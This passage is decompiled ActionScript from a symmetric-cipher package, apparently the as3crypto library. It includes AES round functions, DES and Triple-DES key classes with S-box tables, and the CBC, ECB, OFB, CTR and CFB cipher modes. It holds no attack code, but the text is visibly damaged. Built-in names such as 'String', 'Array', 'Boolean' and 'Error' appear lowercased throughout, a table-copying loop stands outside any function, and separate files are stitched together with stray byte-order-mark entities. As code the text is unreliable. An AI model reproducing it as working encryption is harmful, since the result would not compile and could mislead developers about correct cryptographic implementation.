                _local3++;

            };

            _arg1.position = _arg2;

            _arg1.writeBytes(state);

        }

        protected function mixSubColumns():void{

            tmp.length = 0;

            tmp[0] = (((Xtime2Sbox[state[0]] ^ Xtime3Sbox[state[5]]) ^ Sbox[state[10]]) ^ Sbox[state[15]]);

            tmp[1] = (((Sbox[state[0]] ^ Xtime2Sbox[state[5]]) ^ Xtime3Sbox[state[10]]) ^ Sbox[state[15]]);

            tmp[2] = (((Sbox[state[0]] ^ Sbox[state[5]]) ^ Xtime2Sbox[state[10]]) ^ Xtime3Sbox[state[15]]);

            tmp[3] = (((Xtime3Sbox[state[0]] ^ Sbox[state[5]]) ^ Sbox[state[10]]) ^ Xtime2Sbox[state[15]]);

            tmp[4] = (((Xtime2Sbox[state[4]] ^ Xtime3Sbox[state[9]]) ^ Sbox[state[14]]) ^ Sbox[state[3]]);

            tmp[5] = (((Sbox[state[4]] ^ Xtime2Sbox[state[9]]) ^ Xtime3Sbox[state[14]]) ^ Sbox[state[3]]);

            tmp[6] = (((Sbox[state[4]] ^ Sbox[state[9]]) ^ Xtime2Sbox[state[14]]) ^ Xtime3Sbox[state[3]]);

            tmp[7] = (((Xtime3Sbox[state[4]] ^ Sbox[state[9]]) ^ Sbox[state[14]]) ^ Xtime2Sbox[state[3]]);

            tmp[8] = (((Xtime2Sbox[state[8]] ^ Xtime3Sbox[state[13]]) ^ Sbox[state[2]]) ^ Sbox[state[7]]);

            tmp[9] = (((Sbox[state[8]] ^ Xtime2Sbox[state[13]]) ^ Xtime3Sbox[state[2]]) ^ Sbox[state[7]]);

            tmp[10] = (((Sbox[state[8]] ^ Sbox[state[13]]) ^ Xtime2Sbox[state[2]]) ^ Xtime3Sbox[state[7]]);

            tmp[11] = (((Xtime3Sbox[state[8]] ^ Sbox[state[13]]) ^ Sbox[state[2]]) ^ Xtime2Sbox[state[7]]);

            tmp[12] = (((Xtime2Sbox[state[12]] ^ Xtime3Sbox[state[1]]) ^ Sbox[state[6]]) ^ Sbox[state[11]]);

            tmp[13] = (((Sbox[state[12]] ^ Xtime2Sbox[state[1]]) ^ Xtime3Sbox[state[6]]) ^ Sbox[state[11]]);

            tmp[14] = (((Sbox[state[12]] ^ Sbox[state[1]]) ^ Xtime2Sbox[state[6]]) ^ Xtime3Sbox[state[11]]);

            tmp[15] = (((Xtime3Sbox[state[12]] ^ Sbox[state[1]]) ^ Sbox[state[6]]) ^ Xtime2Sbox[state[11]]);

            state.position = 0;

            state.writeBytes(tmp, 0, (Nb * 4));

        }

        protected function shiftRows():void{

            var _local1:uint;

            state[0] = Sbox[state[0]];

            state[4] = Sbox[state[4]];

            state[8] = Sbox[state[8]];

            state[12] = Sbox[state[12]];

            _local1 = Sbox[state[1]];

            state[1] = Sbox[state[5]];

            state[5] = Sbox[state[9]];

            state[9] = Sbox[state[13]];

            state[13] = _local1;

            _local1 = Sbox[state[2]];

            state[2] = Sbox[state[10]];

            state[10] = _local1;

            _local1 = Sbox[state[6]];

            state[6] = Sbox[state[14]];

            state[14] = _local1;

            _local1 = Sbox[state[15]];

            state[15] = Sbox[state[11]];

            state[11] = Sbox[state[7]];

            state[7] = Sbox[state[3]];

            state[3] = _local1;

        }

        public function getBlockSize():uint{

            return (16);

        }



        while (i < 0x0100) {

            Sbox[i] = _Sbox[i];

            InvSbox[i] = _InvSbox[i];

            Xtime2Sbox[i] = _Xtime2Sbox[i];

            Xtime3Sbox[i] = _Xtime3Sbox[i];

            Xtime2[i] = _Xtime2[i];

            Xtime9[i] = _Xtime9[i];

            XtimeB[i] = _XtimeB[i];

            XtimeD[i] = _XtimeD[i];

            XtimeE[i] = _XtimeE[i];

            i++;

        };

        i = 0;

        while (i < _Rcon.length) {

            Rcon[i] = _Rcon[i];

            i++;

        };

    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;



    public class NullPad implements IPad {



        public function pad(_arg1:ByteArray):void{

        }

        public function unpad(_arg1:ByteArray):void{

        }

        public function setBlockSize(_arg1:uint):void{

        }



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;



    public class CBCMode extends IVMode implements IMode {



        public function CBCMode(_arg1:ISymmetricKey, _arg2:IPad=null){

            super(_arg1, _arg2);

        }

        public function tostring():string{

            return ((key.tostring() + "-cbc"));

        }

        public function decrypt(_arg1:ByteArray):void{

            var _local2:ByteArray;

            var _local3:ByteArray;

            var _local4:uint;

            var _local5:uint;

            _local2 = getIV4d();

            _local3 = new ByteArray();

            _local4 = 0;

            while (_local4 < _arg1.length) {

                _local3.position = 0;

                _local3.writeBytes(_arg1, _local4, blockSize);

                key.decrypt(_arg1, _local4);

                _local5 = 0;

                while (_local5 < blockSize) {

                    _arg1[(_local4 + _local5)] = (_arg1[(_local4 + _local5)] ^ _local2[_local5]);

                    _local5++;

                };

                _local2.position = 0;

                _local2.writeBytes(_local3, 0, blockSize);

                _local4 = (_local4 + blockSize);

            };

            padding.unpad(_arg1);

        }

        public function encrypt(_arg1:ByteArray):void{

            var _local2:ByteArray;

            var _local3:uint;

            var _local4:uint;

            padding.pad(_arg1);

            _local2 = getIV4e();

            _local3 = 0;

            while (_local3 < _arg1.length) {

                _local4 = 0;

                while (_local4 < blockSize) {

                    _arg1[(_local3 + _local4)] = (_arg1[(_local3 + _local4)] ^ _local2[_local4]);

                    _local4++;

                };

                key.encrypt(_arg1, _local3);

                _local2.position = 0;

                _local2.writeBytes(_arg1, _local3, blockSize);

                _local3 = (_local3 + blockSize);

            };

        }



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;

    import com.hurlant.util.*;



    public class ECBMode implements IMode, ICipher {



        private var key:ISymmetricKey;

        private var padding:IPad;



        public function ECBMode(_arg1:ISymmetricKey, _arg2:IPad=null){

            this.key = _arg1;

            if (_arg2 == null){

                _arg2 = new PKCS5(_arg1.getBlockSize());

            } else {

                _arg2.setBlockSize(_arg1.getBlockSize());

            };

            this.padding = _arg2;

        }

        public function encrypt(_arg1:ByteArray):void{

            var _local2:uint;

            var _local3:ByteArray;

            var _local4:ByteArray;

            var _local5:uint;

            padding.pad(_arg1);

            _arg1.position = 0;

            _local2 = key.getBlockSize();

            _local3 = new ByteArray();

            _local4 = new ByteArray();

            _local5 = 0;

            while (_local5 < _arg1.length) {

                _local3.length = 0;

                _arg1.readBytes(_local3, 0, _local2);

                key.encrypt(_local3);

                _local4.writeBytes(_local3);

                _local5 = (_local5 + _local2);

            };

            _arg1.length = 0;

            _arg1.writeBytes(_local4);

        }

        public function decrypt(_arg1:ByteArray):void{

            var _local2:uint;

            var _local3:ByteArray;

            var _local4:ByteArray;

            var _local5:uint;

            _arg1.position = 0;

            _local2 = key.getBlockSize();

            if ((_arg1.length % _local2) != 0){

                throw (new error(("ECB mode cipher length must be a multiple of blocksize " + _local2)));

            };

            _local3 = new ByteArray();

            _local4 = new ByteArray();

            _local5 = 0;

            while (_local5 < _arg1.length) {

                _local3.length = 0;

                _arg1.readBytes(_local3, 0, _local2);

                key.decrypt(_local3);

                _local4.writeBytes(_local3);

                _local5 = (_local5 + _local2);

            };

            padding.unpad(_local4);

            _arg1.length = 0;

            _arg1.writeBytes(_local4);

        }

        public function dispose():void{

            key.dispose();

            key = null;

            padding = null;

            Memory.gc();

        }

        public function getBlockSize():uint{

            return (key.getBlockSize());

        }

        public function tostring():string{

            return ((key.tostring() + "-ecb"));

        }



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;



    public class OFBMode extends IVMode implements IMode {



        public function OFBMode(_arg1:ISymmetricKey, _arg2:IPad=null){

            super(_arg1, null);

        }

        public function tostring():string{

            return ((key.tostring() + "-ofb"));

        }

        private function core(_arg1:ByteArray, _arg2:ByteArray):void{

            var _local3:uint;

            var _local4:ByteArray;

            var _local5:uint;

            var _local6:uint;

            var _local7:uint;

            _local3 = _arg1.length;

            _local4 = new ByteArray();

            _local5 = 0;

            while (_local5 < _arg1.length) {

                key.encrypt(_arg2);

                _local4.position = 0;

                _local4.writeBytes(_arg2);

                _local6 = (((_local5 + blockSize))<_local3) ? blockSize : (_local3 - _local5);

                _local7 = 0;

                while (_local7 < _local6) {

                    _arg1[(_local5 + _local7)] = (_arg1[(_local5 + _local7)] ^ _arg2[_local7]);

                    _local7++;

                };

                _arg2.position = 0;

                _arg2.writeBytes(_local4);

                _local5 = (_local5 + blockSize);

            };

        }

        public function decrypt(_arg1:ByteArray):void{

            var _local2:ByteArray;

            _local2 = getIV4d();

            core(_arg1, _local2);

        }

        public function encrypt(_arg1:ByteArray):void{

            var _local2:ByteArray;

            _local2 = getIV4e();

            core(_arg1, _local2);

        }



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;

    import com.hurlant.util.*;



    public class SimpleIVMode implements IMode, ICipher {



        protected var mode:IVMode;

        protected var cipher:ICipher;



        public function SimpleIVMode(_arg1:IVMode){

            this.mode = _arg1;

            cipher = (_arg1 as ICipher);

        }

        public function encrypt(_arg1:ByteArray):void{

            var _local2:ByteArray;

            cipher.encrypt(_arg1);

            _local2 = new ByteArray();

            _local2.writeBytes(mode.IV);

            _local2.writeBytes(_arg1);

            _arg1.position = 0;

            _arg1.writeBytes(_local2);

        }

        public function decrypt(_arg1:ByteArray):void{

            var _local2:ByteArray;

            _local2 = new ByteArray();

            _local2.writeBytes(_arg1, 0, getBlockSize());

            mode.IV = _local2;

            _local2 = new ByteArray();

            _local2.writeBytes(_arg1, getBlockSize());

            cipher.decrypt(_local2);

            _arg1.length = 0;

            _arg1.writeBytes(_local2);

        }

        public function dispose():void{

            mode.dispose();

            mode = null;

            cipher = null;

            Memory.gc();

        }

        public function tostring():string{

            return (("simple-" + cipher.tostring()));

        }

        public function getBlockSize():uint{

            return (mode.getBlockSize());

        }



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;

    import com.hurlant.util.*;



    public class DESKey implements ISymmetricKey {



        private static const SP8:array = [0x10001040, 0x1000, 262144, 268701760, 0x10000000, 0x10001040, 64, 0x10000000, 262208, 0x10040000, 268701760, 266240, 0x10041000, 266304, 0x1000, 64, 0x10040000, 0x10000040, 0x10001000, 4160, 266240, 262208, 0x10040040, 0x10041000, 4160, 0, 0, 0x10040040, 0x10000040, 0x10001000, 266304, 262144, 266304, 262144, 0x10041000, 0x1000, 64, 0x10040040, 0x1000, 266304, 0x10001000, 64, 0x10000040, 0x10040000, 0x10040040, 0x10000000, 262144, 0x10001040, 0, 268701760, 262208, 0x10000040, 0x10040000, 0x10001000, 0x10001040, 0, 268701760, 266240, 266240, 4160, 4160, 262208, 0x10000000, 0x10041000];

        private static const bytebit:array = [128, 64, 32, 16, 8, 4, 2, 1];

        private static const bigbyte:array = [0x800000, 0x400000, 0x200000, 0x100000, 524288, 262144, 131072, 65536, 0x8000, 0x4000, 0x2000, 0x1000, 0x0800, 0x0400, 0x0200, 0x0100, 128, 64, 32, 16, 8, 4, 2, 1];

        private static const pc1:array = [56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3];

        private static const pc2:array = [13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31];

        private static const Df_Key:array = [1, 35, 69, 103, 137, 171, 205, 239, 254, 220, 186, 152, 118, 84, 50, 16, 137, 171, 205, 239, 1, 35, 69, 103];

        private static const totrot:array = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28];

        private static const SP1:array = [16843776, 0, 65536, 16843780, 16842756, 66564, 4, 65536, 0x0400, 16843776, 16843780, 0x0400, 16778244, 16842756, 16777216, 4, 0x0404, 16778240, 16778240, 66560, 66560, 16842752, 16842752, 16778244, 65540, 16777220, 16777220, 65540, 0, 0x0404, 66564, 16777216, 65536, 16843780, 4, 16842752, 16843776, 16777216, 16777216, 0x0400, 16842756, 65536, 66560, 16777220, 0x0400, 4, 16778244, 66564, 16843780, 65540, 16842752, 16778244, 16777220, 0x0404, 66564, 16843776, 0x0404, 16778240, 16778240, 0, 65540, 66560, 0, 16842756];

        private static const SP2:array = [2148565024, 0x80008000, 0x8000, 1081376, 0x100000, 32, 0x80100020, 0x80008020, 0x80000020, 2148565024, 0x80108000, 0x80000000, 0x80008000, 0x100000, 32, 0x80100020, 0x108000, 0x100020, 0x80008020, 0, 0x80000000, 0x8000, 1081376, 0x80100000, 0x100020, 0x80000020, 0, 0x108000, 32800, 0x80108000, 0x80100000, 32800, 0, 1081376, 0x80100020, 0x100000, 0x80008020, 0x80100000, 0x80108000, 0x8000, 0x80100000, 0x80008000, 32, 2148565024, 1081376, 32, 0x8000, 0x80000000, 32800, 0x80108000, 0x100000, 0x80000020, 0x100020, 0x80008020, 0x80000020, 0x100020, 0x108000, 0, 0x80008000, 32800, 0x80000000, 0x80100020, 2148565024, 0x108000];

        private static const SP3:array = [520, 134349312, 0, 134348808, 134218240, 0, 131592, 134218240, 131080, 134217736, 134217736, 131072, 134349320, 131080, 134348800, 520, 134217728, 8, 134349312, 0x0200, 131584, 134348800, 134348808, 131592, 134218248, 131584, 131072, 134218248, 8, 134349320, 0x0200, 134217728, 134349312, 134217728, 131080, 520, 131072, 134349312, 134218240, 0, 0x0200, 131080, 134349320, 134218240, 134217736, 0x0200, 0, 134348808, 134218248, 131072, 134217728, 134349320, 8, 131592, 131584, 134217736, 134348800, 134218248, 520, 134348800, 131592, 8, 134348808, 131584];

        private static const SP4:array = [8396801, 8321, 8321, 128, 8396928, 0x800081, 0x800001, 8193, 0, 0x802000, 0x802000, 8396929, 129, 0, 0x800080, 0x800001, 1, 0x2000, 0x800000, 8396801, 128, 0x800000, 8193, 8320, 0x800081, 1, 8320, 0x800080, 0x2000, 8396928, 8396929, 129, 0x800080, 0x800001, 0x802000, 8396929, 129, 0, 0, 0x802000, 8320, 0x800080, 0x800081, 1, 8396801, 8321, 8321, 128, 8396929, 129, 1, 0x2000, 0x800001, 8193, 8396928, 0x800081, 8193, 8320, 0x800000, 8396801, 128, 0x800000, 0x2000, 8396928];

        private static const SP5:array = [0x0100, 34078976, 34078720, 0x42000100, 524288, 0x0100, 0x40000000, 34078720, 0x40080100, 524288, 33554688, 0x40080100, 0x42000100, 0x42080000, 524544, 0x40000000, 33554432, 0x40080000, 0x40080000, 0, 0x40000100, 0x42080100, 0x42080100, 33554688, 0x42080000, 0x40000100, 0, 0x42000000, 34078976, 33554432, 0x42000000, 524544, 524288, 0x42000100, 0x0100, 33554432, 0x40000000, 34078720, 0x42000100, 0x40080100, 33554688, 0x40000000, 0x42080000, 34078976, 0x40080100, 0x0100, 33554432, 0x42080000, 0x42080100, 524544, 0x42000000, 0x42080100, 34078720, 0, 0x40080000, 0x42000000, 524544, 33554688, 0x40000100, 524288, 0, 0x40080000, 34078976, 0x40000100];

        private static const SP6:array = [0x20000010, 0x20400000, 0x4000, 541081616, 0x20400000, 16, 541081616, 0x400000, 0x20004000, 4210704, 0x400000, 0x20000010, 0x400010, 0x20004000, 0x20000000, 16400, 0, 0x400010, 0x20004010, 0x4000, 0x404000, 0x20004010, 16, 0x20400010, 0x20400010, 0, 4210704, 0x20404000, 16400, 0x404000, 0x20404000, 0x20000000, 0x20004000, 16, 0x20400010, 0x404000, 541081616, 0x400000, 16400, 0x20000010, 0x400000, 0x20004000, 0x20000000, 16400, 0x20000010, 541081616, 0x404000, 0x20400000, 4210704, 0x20404000, 0, 0x20400010, 16, 0x4000, 0x20400000, 4210704, 0x4000, 0x400010, 0x20004010, 0, 0x20404000, 0x20000000, 0x400010, 0x20004010];

        private static const SP7:array = [0x200000, 69206018, 67110914, 0, 0x0800, 67110914, 2099202, 69208064, 69208066, 0x200000, 0, 67108866, 2, 67108864, 69206018, 2050, 67110912, 2099202, 0x200002, 67110912, 67108866, 69206016, 69208064, 0x200002, 69206016, 0x0800, 2050, 69208066, 0x200800, 2, 67108864, 0x200800, 67108864, 0x200800, 0x200000, 67110914, 67110914, 69206018, 69206018, 2, 0x200002, 67108864, 67110912, 0x200000, 69208064, 2050, 2099202, 69208064, 2050, 67108866, 69208066, 69206016, 0x200800, 0, 2, 69208066, 0, 2099202, 69206016, 0x0800, 67108866, 67110912, 0x0800, 0x200002];



        protected var encKey:array;

        protected var key:ByteArray;

        protected var decKey:array;



        public function DESKey(_arg1:ByteArray){

            this.key = _arg1;

            this.encKey = generateWorkingKey(true, _arg1, 0);

            this.decKey = generateWorkingKey(false, _arg1, 0);

        }

        protected function generateWorkingKey(_arg1:boolean, _arg2:ByteArray, _arg3:uint):array{

            var _local4:array;

            var _local5:ByteArray;

            var _local6:ByteArray;

            var _local7:uint;

            var _local8:uint;

            var _local9:uint;

            var _local10:uint;

            var _local11:uint;

            var _local12:uint;

            var _local13:uint;

            _local4 = [];

            _local5 = new ByteArray();

            _local6 = new ByteArray();

            _local8 = 0;

            while (_local8 < 56) {

                _local7 = pc1[_local8];

                _local5[_local8] = !(((_arg2[(_arg3 + (_local7 >>> 3))] & bytebit[(_local7 & 7)]) == 0));

                _local8++;

            };

            _local9 = 0;

            while (_local9 < 16) {

                if (_arg1){

                    _local10 = (_local9 << 1);

                } else {

                    _local10 = ((15 - _local9) << 1);

                };

                _local11 = (_local10 + 1);

                _local4[_local10] = (_local4[_local11] = 0);

                _local8 = 0;

                while (_local8 < 28) {

                    _local7 = (_local8 + totrot[_local9]);

                    if (_local7 < 28){

                        _local6[_local8] = _local5[_local7];

                    } else {

                        _local6[_local8] = _local5[(_local7 - 28)];

                    };

                    _local8++;

                };

                _local8 = 28;

                while (_local8 < 56) {

                    _local7 = (_local8 + totrot[_local9]);

                    if (_local7 < 56){

                        _local6[_local8] = _local5[_local7];

                    } else {

                        _local6[_local8] = _local5[(_local7 - 28)];

                    };

                    _local8++;

                };

                _local8 = 0;

                while (_local8 < 24) {

                    if (_local6[pc2[_local8]]){

                        _local4[_local10] = (_local4[_local10] | bigbyte[_local8]);

                    };

                    if (_local6[pc2[(_local8 + 24)]]){

                        _local4[_local11] = (_local4[_local11] | bigbyte[_local8]);

                    };

                    _local8++;

                };

                _local9++;

            };

            _local9 = 0;

            while (_local9 != 32) {

                _local12 = _local4[_local9];

                _local13 = _local4[(_local9 + 1)];

                _local4[_local9] = (((((_local12 & 0xFC0000) << 6) | ((_local12 & 4032) << 10)) | ((_local13 & 0xFC0000) >>> 10)) | ((_local13 & 4032) >>> 6));

                _local4[(_local9 + 1)] = (((((_local12 & 258048) << 12) | ((_local12 & 63) << 16)) | ((_local13 & 258048) >>> 4)) | (_local13 & 63));

                _local9 = (_local9 + 2);

            };

            return (_local4);

        }

        public function encrypt(_arg1:ByteArray, _arg2:uint=0):void{

            desFunc(encKey, _arg1, _arg2, _arg1, _arg2);

        }

        public function decrypt(_arg1:ByteArray, _arg2:uint=0):void{

            desFunc(decKey, _arg1, _arg2, _arg1, _arg2);

        }

        public function dispose():void{

            var _local1:uint;

            _local1 = 0;

            _local1 = 0;

            while (_local1 < encKey.length) {

                encKey[_local1] = 0;

                _local1++;

            };

            _local1 = 0;

            while (_local1 < decKey.length) {

                decKey[_local1] = 0;

                _local1++;

            };

            encKey = null;

            decKey = null;

            _local1 = 0;

            while (_local1 < key.length) {

                key[_local1] = 0;

                _local1++;

            };

            key.length = 0;

            key = null;

            Memory.gc();

        }

        protected function desFunc(_arg1:array, _arg2:ByteArray, _arg3:uint, _arg4:ByteArray, _arg5:uint):void{

            var _local6:uint;

            var _local7:uint;

            var _local8:uint;

            var _local9:uint;

            var _local10:uint;

            _local8 = ((_arg2[(_arg3 + 0)] & 0xFF) << 24);

            _local8 = (_local8 | ((_arg2[(_arg3 + 1)] & 0xFF) << 16));

            _local8 = (_local8 | ((_arg2[(_arg3 + 2)] & 0xFF) << 8));

            _local8 = (_local8 | (_arg2[(_arg3 + 3)] & 0xFF));

            _local7 = ((_arg2[(_arg3 + 4)] & 0xFF) << 24);

            _local7 = (_local7 | ((_arg2[(_arg3 + 5)] & 0xFF) << 16));

            _local7 = (_local7 | ((_arg2[(_arg3 + 6)] & 0xFF) << 8));

            _local7 = (_local7 | (_arg2[(_arg3 + 7)] & 0xFF));

            _local6 = (((_local8 >>> 4) ^ _local7) & 252645135);

            _local7 = (_local7 ^ _local6);

            _local8 = (_local8 ^ (_local6 << 4));

            _local6 = (((_local8 >>> 16) ^ _local7) & 0xFFFF);

            _local7 = (_local7 ^ _local6);

            _local8 = (_local8 ^ (_local6 << 16));

            _local6 = (((_local7 >>> 2) ^ _local8) & 0x33333333);

            _local8 = (_local8 ^ _local6);

            _local7 = (_local7 ^ (_local6 << 2));

            _local6 = (((_local7 >>> 8) ^ _local8) & 0xFF00FF);

            _local8 = (_local8 ^ _local6);

            _local7 = (_local7 ^ (_local6 << 8));

            _local7 = (((_local7 << 1) | ((_local7 >>> 31) & 1)) & 0xFFFFFFFF);

            _local6 = ((_local8 ^ _local7) & 0xAAAAAAAA);

            _local8 = (_local8 ^ _local6);

            _local7 = (_local7 ^ _local6);

            _local8 = (((_local8 << 1) | ((_local8 >>> 31) & 1)) & 0xFFFFFFFF);

            _local9 = 0;

            while (_local9 < 8) {

                _local6 = ((_local7 << 28) | (_local7 >>> 4));

                _local6 = (_local6 ^ _arg1[((_local9 * 4) + 0)]);

                _local10 = SP7[(_local6 & 63)];

                _local10 = (_local10 | SP5[((_local6 >>> 8) & 63)]);

                _local10 = (_local10 | SP3[((_local6 >>> 16) & 63)]);

                _local10 = (_local10 | SP1[((_local6 >>> 24) & 63)]);

                _local6 = (_local7 ^ _arg1[((_local9 * 4) + 1)]);

                _local10 = (_local10 | SP8[(_local6 & 63)]);

                _local10 = (_local10 | SP6[((_local6 >>> 8) & 63)]);

                _local10 = (_local10 | SP4[((_local6 >>> 16) & 63)]);

                _local10 = (_local10 | SP2[((_local6 >>> 24) & 63)]);

                _local8 = (_local8 ^ _local10);

                _local6 = ((_local8 << 28) | (_local8 >>> 4));

                _local6 = (_local6 ^ _arg1[((_local9 * 4) + 2)]);

                _local10 = SP7[(_local6 & 63)];

                _local10 = (_local10 | SP5[((_local6 >>> 8) & 63)]);

                _local10 = (_local10 | SP3[((_local6 >>> 16) & 63)]);

                _local10 = (_local10 | SP1[((_local6 >>> 24) & 63)]);

                _local6 = (_local8 ^ _arg1[((_local9 * 4) + 3)]);

                _local10 = (_local10 | SP8[(_local6 & 63)]);

                _local10 = (_local10 | SP6[((_local6 >>> 8) & 63)]);

                _local10 = (_local10 | SP4[((_local6 >>> 16) & 63)]);

                _local10 = (_local10 | SP2[((_local6 >>> 24) & 63)]);

                _local7 = (_local7 ^ _local10);

                _local9++;

            };

            _local7 = ((_local7 << 31) | (_local7 >>> 1));

            _local6 = ((_local8 ^ _local7) & 0xAAAAAAAA);

            _local8 = (_local8 ^ _local6);

            _local7 = (_local7 ^ _local6);

            _local8 = ((_local8 << 31) | (_local8 >>> 1));

            _local6 = (((_local8 >>> 8) ^ _local7) & 0xFF00FF);

            _local7 = (_local7 ^ _local6);

            _local8 = (_local8 ^ (_local6 << 8));

            _local6 = (((_local8 >>> 2) ^ _local7) & 0x33333333);

            _local7 = (_local7 ^ _local6);

            _local8 = (_local8 ^ (_local6 << 2));

            _local6 = (((_local7 >>> 16) ^ _local8) & 0xFFFF);

            _local8 = (_local8 ^ _local6);

            _local7 = (_local7 ^ (_local6 << 16));

            _local6 = (((_local7 >>> 4) ^ _local8) & 252645135);

            _local8 = (_local8 ^ _local6);

            _local7 = (_local7 ^ (_local6 << 4));

            _arg4[(_arg5 + 0)] = ((_local7 >>> 24) & 0xFF);

            _arg4[(_arg5 + 1)] = ((_local7 >>> 16) & 0xFF);

            _arg4[(_arg5 + 2)] = ((_local7 >>> 8) & 0xFF);

            _arg4[(_arg5 + 3)] = (_local7 & 0xFF);

            _arg4[(_arg5 + 4)] = ((_local8 >>> 24) & 0xFF);

            _arg4[(_arg5 + 5)] = ((_local8 >>> 16) & 0xFF);

            _arg4[(_arg5 + 6)] = ((_local8 >>> 8) & 0xFF);

            _arg4[(_arg5 + 7)] = (_local8 & 0xFF);

        }

        public function tostring():string{

            return ("des");

        }

        public function getBlockSize():uint{

            return (8);

        }



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;



    public class CTRMode extends IVMode implements IMode {



        public function CTRMode(_arg1:ISymmetricKey, _arg2:IPad=null){

            super(_arg1, _arg2);

        }

        public function tostring():string{

            return ((key.tostring() + "-ctr"));

        }

        private function core(_arg1:ByteArray, _arg2:ByteArray):void{

            var _local3:ByteArray;

            var _local4:ByteArray;

            var _local5:uint;

            var _local6:uint;

            _local3 = new ByteArray();

            _local4 = new ByteArray();

            _local3.writeBytes(_arg2);

            _local5 = 0;

            while (_local5 < _arg1.length) {

                _local4.position = 0;

                _local4.writeBytes(_local3);

                key.encrypt(_local4);

                _local6 = 0;

                while (_local6 < blockSize) {

                    _arg1[(_local5 + _local6)] = (_arg1[(_local5 + _local6)] ^ _local4[_local6]);

                    _local6++;

                };

                _local6 = (blockSize - 1);

                while (_local6 >= 0) {

                    var _local7 = _local3;

                    var _local8 = _local6;

                    var _local9 = (_local7[_local8] + 1);

                    _local7[_local8] = _local9;

                    if (_local3[_local6] != 0){

                        break;

                    };

                    _local6--;

                };

                _local5 = (_local5 + blockSize);

            };

        }

        public function decrypt(_arg1:ByteArray):void{

            var _local2:ByteArray;

            _local2 = getIV4d();

            core(_arg1, _local2);

            padding.unpad(_arg1);

        }

        public function encrypt(_arg1:ByteArray):void{

            var _local2:ByteArray;

            padding.pad(_arg1);

            _local2 = getIV4e();

            core(_arg1, _local2);

        }



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;

    import com.hurlant.util.*;



    public class TripleDESKey extends DESKey {



        protected var decKey2:array;

        protected var decKey3:array;

        protected var encKey2:array;

        protected var encKey3:array;



        public function TripleDESKey(_arg1:ByteArray){

            super(_arg1);

            encKey2 = generateWorkingKey(false, _arg1, 8);

            decKey2 = generateWorkingKey(true, _arg1, 8);

            if (_arg1.length > 16){

                encKey3 = generateWorkingKey(true, _arg1, 16);

                decKey3 = generateWorkingKey(false, _arg1, 16);

            } else {

                encKey3 = encKey;

                decKey3 = decKey;

            };

        }

        override public function decrypt(_arg1:ByteArray, _arg2:uint=0):void{

            desFunc(decKey3, _arg1, _arg2, _arg1, _arg2);

            desFunc(decKey2, _arg1, _arg2, _arg1, _arg2);

            desFunc(decKey, _arg1, _arg2, _arg1, _arg2);

        }

        override public function encrypt(_arg1:ByteArray, _arg2:uint=0):void{

            desFunc(encKey, _arg1, _arg2, _arg1, _arg2);

            desFunc(encKey2, _arg1, _arg2, _arg1, _arg2);

            desFunc(encKey3, _arg1, _arg2, _arg1, _arg2);

        }

        override public function dispose():void{

            var _local1:uint;

            super.dispose();

            _local1 = 0;

            if (encKey2 != null){

                _local1 = 0;

                while (_local1 < encKey2.length) {

                    encKey2[_local1] = 0;

                    _local1++;

                };

                encKey2 = null;

            };

            if (encKey3 != null){

                _local1 = 0;

                while (_local1 < encKey3.length) {

                    encKey3[_local1] = 0;

                    _local1++;

                };

                encKey3 = null;

            };

            if (decKey2 != null){

                _local1 = 0;

                while (_local1 < decKey2.length) {

                    decKey2[_local1] = 0;

                    _local1++;

                };

                decKey2 = null;

            };

            if (decKey3 != null){

                _local1 = 0;

                while (_local1 < decKey3.length) {

                    decKey3[_local1] = 0;

                    _local1++;

                };

                decKey3 = null;

            };

            Memory.gc();

        }

        override public function tostring():string{

            return ("3des");

        }



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;



    public class CFBMode extends IVMode implements IMode {



        public function CFBMode(_arg1:ISymmetricKey, _arg2:IPad=null){

            super(_arg1, null);

        }

        public function tostring():string{

            return ((key.tostring() + "-cfb"));

        }

        public function decrypt(_arg1:ByteArray):void{

            var _local2:uint;

            var _local3:ByteArray;

            var _local4:ByteArray;

            var _local5:uint;

            var _local6:uint;

            var _local7:uint;

            _local2 = _arg1.length;

            _local3 = getIV4d();

            _local4 = new ByteArray();

            _local5 = 0;

            while (_local5 < _arg1.length) {

                key.encrypt(_local3);

                _local6 = (((_local5 + blockSize))<_local2) ? blockSize : (_local2 - _local5);

                _local4.position = 0;

                _local4.writeBytes(_arg1, _local5, _local6);

                _local7 = 0;

                while (_local7 < _local6) {

                    _arg1[(_local5 + _local7)] = (_arg1[(_local5 + _local7)] ^ _local3[_local7]);

                    _local7++;

                };

                _local3.position = 0;

                _local3.writeBytes(_local4);

                _local5 = (_local5 + blockSize);

            };

        }

        public function encrypt(_arg1:ByteArray):void{

            var _local2:uint;

            var _local3:ByteArray;

            var _local4:uint;

            var _local5:uint;

            var _local6:uint;

            _local2 = _arg1.length;

            _local3 = getIV4e();

            _local4 = 0;

            while (_local4 < _arg1.length) {

                key.encrypt(_local3);

                _local5 = (((_local4 + blockSize))<_local2) ? blockSize : (_local2 - _local4);

                _local6 = 0;

                while (_local6 < _local5) {

